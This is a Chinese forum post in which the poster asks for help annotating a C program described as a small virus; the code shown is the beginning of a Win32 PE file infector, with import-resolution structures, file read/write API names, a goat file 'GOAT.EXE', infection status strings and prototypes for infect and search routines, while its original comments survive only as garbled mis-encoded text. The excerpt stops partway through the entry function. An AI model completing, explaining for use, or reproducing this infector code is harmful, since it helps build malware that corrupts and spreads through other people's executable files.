高手们,我有一个c语言程序,能不能给我分析一下,打上注释。
主要是那些乱码 还有开头的那些宏定义真的不懂 这是一个小小的病毒的程序//win32cpp - PE infector
//authors - meza & SMT
#include <windows.h>
#define WORD4(a,b,c,d) ((a)+(b)*0x100+(c)*0x10000+(d)*0x1000000)
//#pragma pack (4) // 礤 珥帼, 镳a忤朦眍 腓 磬镨襦?.. 玟羼?祉?眢骓?
// 黩钺?溧眄? ?耱痼牝箴圊 恹疣忭桠嚯桉?磬 4-徉轵眢?沭囗桷?
struct GLOBAL { // 觐眈蜞眚?
struct { // import directory
unsigned lookup;
unsigned linktime, chain;
unsigned libname;
unsigned addrtable;
unsigned nextitem[5];
} importdir;
struct { // lookup table
unsigned func1;
unsigned func2;
unsigned funcN;
} lookup;
struct { // imported functions
FARPROC (__stdcall *_GetProcAddress_)(HMODULE, const char *);
HINSTANCE (__stdcall *_LoadLibrary_)(const char *);
} imported;
char libname[16];
char user[16];
char getProcAddress[20];
char loadLibrary[16];
unsigned entryRVA;
unsigned prev_import;
unsigned startRVA;
unsigned importRVA;
char createFileA[12];
char closeHandle[12];
char readFile[12];
char writeFile[12];
char setFilePointer[16];
char getFileSize[12];
char exitProcess[12];
char messageBoxA[12];
char getModuleHandle[20];
char goat[16];
char exception[20];
char infstart[20];
char infend[20];
unsigned importdone;
unsigned isdll;
} globals = {
{ 0, 0, 0, 0, 0, {0, 0, 0, 0, 0}},
{ 0, 0, 0},
NULL, NULL,
"KERNEL32.DLL",
"USER32.DLL",
"\0\0GetProcAddress",
"\0\0LoadLibraryA",
0, 0, 0, 0,
"CreateFileA",
"CloseHandle",
"ReadFile",
"WriteFile",
"SetFilePointer",
"GetFileSize",
"ExitProcess",
"MessageBoxA",
"GetModuleHandleA",
"GOAT.EXE",
"exception occured",
"infection started",
"infection ended",
0,
0
};
typedef struct { // "汶钺嚯??" 镥疱戾眄?
HANDLE (__stdcall *_CreateFile)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
BOOL (__stdcall *_CloseHandle)(HANDLE);
BOOL (__stdcall *_ReadFile)(HANDLE,LPVOID,DWORD,LPDWORD,LPOVERLAPPED);
BOOL (__stdcall *_WriteFile)(HANDLE,const void *,DWORD,LPDWORD,LPOVERLAPPED);
DWORD (__stdcall *_SetFilePointer)(HANDLE,LONG,PLONG,DWORD);
DWORD (__stdcall *_GetFileSize)(HANDLE,LPDWORD);
FARPROC (__stdcall *_GetProcAddress)(HMODULE, const char *);
HINSTANCE (__stdcall *_LoadLibrary)(const char*);
void (__stdcall *_ExitProcess)(UINT);
int (__stdcall *_MessageBox)(HWND,LPCTSTR,LPCTSTR,UINT);
HMODULE (__stdcall *_GetModuleHandle)(LPCTSTR);
struct GLOBAL *globals;
} FUNC;
typedef FUNC *PFUNC;
typedef unsigned (__stdcall *SEHFUNC)(PFUNC);
typedef void (__stdcall *ERRFUNC)(PFUNC);
// 镳铗铗栾?--------------------------
void *delta(void *start);
void lastfunc();
void strcpy(char *, char *);
void strcat(char *, char *);
int infect(PFUNC func, char *name);
unsigned seh(SEHFUNC, ERRFUNC, PFUNC);
unsigned __stdcall search(PFUNC);
void __stdcall infecterror(PFUNC);
// ------------------------------------
#define RVA(x) (unsigned*)((unsigned)base+(unsigned)(x))
#define ALIGN(a,b) (((a-1) | (b-1))+1)
BOOL __stdcall firstfunc(HANDLE p1, DWORD p2, LPVOID p3) { // DllMain, 黩钺?玎疣驵螯 DLL
FUNC func;
struct GLOBAL *globals;
unsigned name;
unsigned base;
FARPROC (__stdcall *_GetProcAddress)(HMODULE, const char *);
HINSTANCE (__stdcall *_LoadLibrary)(const char *);
globals = func.globals = (struct GLOBAL*)delta((void*)lastfunc);
//桤戾?蝰